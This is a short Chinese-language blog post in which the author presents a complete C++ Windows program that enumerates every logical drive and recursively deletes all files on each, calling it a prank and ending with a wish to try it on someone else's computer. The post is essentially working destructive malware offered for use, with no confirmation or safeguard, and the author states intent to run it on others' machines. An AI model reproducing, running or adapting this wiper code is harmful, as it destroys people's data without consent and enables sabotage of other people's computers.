1. 程式人生 > >用Windows API遍歷所有檔案並刪除

用Windows API遍歷所有檔案並刪除

最近一直在學windows API,弄了一些好玩的東西(有點惡作劇了)...

下面是我現學現賣寫的一個刪除硬碟上所有檔案的小程式 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);

 do
 {
  if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
  {
   continue;
  }

  if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
  {
   sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
   DelFile(cNewPath);//遞迴
  }
  
//  MessageBox(NULL,data.cFileName,"Look",0);
  sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
  DeleteFile(cFullPath);
  
 }while(FindNextFile(hFind,&data));
 

}

int WINAPI WinMain(
  HINSTANCE hInstance,      // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,          // command line
  int nCmdShow              // show state
)
{

 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
  if(bit.test(ix))
  {
   Path[0]='A'+ix;
   DelFile(Path);
  }
 }
 return 0;
}


最後用了GetLogicalDrives這個API函式來判斷本機有多少個分割槽,然後用sprintf格式化一下作為DelFile的引數.

等有機會拿到別人電腦上試試吧....